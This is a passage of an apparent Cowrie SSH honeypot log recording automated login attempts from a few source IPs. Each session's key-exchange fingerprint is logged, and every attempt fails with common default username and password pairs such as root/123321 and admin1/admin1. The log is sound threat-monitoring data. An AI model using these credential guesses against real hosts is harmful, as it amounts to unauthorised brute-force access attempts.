d25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:26.578613Z","src_ip":"192.109.200.237","session":"2d69f49f0112","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:26.827629Z","src_ip":"192.109.200.237","session":"2d69f49f0112","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:27.913243Z","src_ip":"192.109.200.237","session":"2d69f49f0112","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55028,"dst_ip":"159.203.135.109","dst_port":22,"session":"e419eb22017d","protocol":"ssh","message":"New connection: 192.109.200.237:55028 (159.203.135.109:22) [session: e419eb22017d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:29.726022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:29.729763Z","src_ip":"192.109.200.237","session":"e419eb22017d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:29.810816Z","src_ip":"192.109.200.237","session":"e419eb22017d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:30.057106Z","src_ip":"192.109.200.237","session":"e419eb22017d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:31.143654Z","src_ip":"192.109.200.237","session":"e419eb22017d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38010,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc066036926b","protocol":"ssh","message":"New connection: 192.109.200.237:38010 (159.203.135.109:22) [session: cc066036926b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:32.960965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:32.965597Z","src_ip":"192.109.200.237","session":"cc066036926b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:33.050658Z","src_ip":"192.109.200.237","session":"cc066036926b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:33.295961Z","src_ip":"192.109.200.237","session":"cc066036926b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:34.380810Z","src_ip":"192.109.200.237","session":"cc066036926b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38018,"dst_ip":"159.203.135.109","dst_port":22,"session":"91b457532a5e","protocol":"ssh","message":"New connection: 192.109.200.237:38018 (159.203.135.109:22) [session: 91b457532a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:36.122249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:36.127000Z","src_ip":"192.109.200.237","session":"91b457532a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:36.209704Z","src_ip":"192.109.200.237","session":"91b457532a5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:36.455550Z","src_ip":"192.109.200.237","session":"91b457532a5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:37.541632Z","src_ip":"192.109.200.237","session":"91b457532a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38034,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a282ca57f67","protocol":"ssh","message":"New connection: 192.109.200.237:38034 (159.203.135.109:22) [session: 9a282ca57f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:39.232399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:39.237357Z","src_ip":"192.109.200.237","session":"9a282ca57f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:39.322970Z","src_ip":"192.109.200.237","session":"9a282ca57f67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:39.570021Z","src_ip":"192.109.200.237","session":"9a282ca57f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:40.655543Z","src_ip":"192.109.200.237","session":"9a282ca57f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35646,"dst_ip":"159.203.135.109","dst_port":22,"session":"f72320b80ab4","protocol":"ssh","message":"New connection: 192.109.200.237:35646 (159.203.135.109:22) [session: f72320b80ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:42.506122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:42.510593Z","src_ip":"192.109.200.237","session":"f72320b80ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:42.592788Z","src_ip":"192.109.200.237","session":"f72320b80ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:42.837979Z","src_ip":"192.109.200.237","session":"f72320b80ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":41142,"dst_ip":"10.17.0.5","dst_port":22,"session":"1472ee5b673d","protocol":"ssh","message":"New connection: 103.195.236.96:41142 (10.17.0.5:22) [session: 1472ee5b673d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:43.051170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:43.055945Z","src_ip":"103.195.236.96","session":"1472ee5b673d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:43.293779Z","src_ip":"103.195.236.96","session":"1472ee5b673d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:43.922857Z","src_ip":"192.109.200.237","session":"f72320b80ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prototype","message":"login attempt [root/prototype] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:44.012837Z","src_ip":"103.195.236.96","session":"1472ee5b673d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:45.253522Z","src_ip":"103.195.236.96","session":"1472ee5b673d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35660,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0e4b3f61a50","protocol":"ssh","message":"New connection: 192.109.200.237:35660 (159.203.135.109:22) [session: b0e4b3f61a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:45.651096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:45.655987Z","src_ip":"192.109.200.237","session":"b0e4b3f61a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:45.738143Z","src_ip":"192.109.200.237","session":"b0e4b3f61a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:45.984565Z","src_ip":"192.109.200.237","session":"b0e4b3f61a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:47.070979Z","src_ip":"192.109.200.237","session":"b0e4b3f61a50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":55642,"dst_ip":"159.203.135.109","dst_port":22,"session":"c30a00b2ddad","protocol":"ssh","message":"New connection: 103.172.78.219:55642 (159.203.135.109:22) [session: c30a00b2ddad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:48.013031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:48.020963Z","src_ip":"103.172.78.219","session":"c30a00b2ddad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:48.279981Z","src_ip":"103.172.78.219","session":"c30a00b2ddad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35670,"dst_ip":"159.203.135.109","dst_port":22,"session":"b66d13ecb065","protocol":"ssh","message":"New connection: 192.109.200.237:35670 (159.203.135.109:22) [session: b66d13ecb065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:48.852500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:03:48.857094Z","src_ip":"192.109.200.237","session":"b66d13ecb065","protocol":"ssh"}
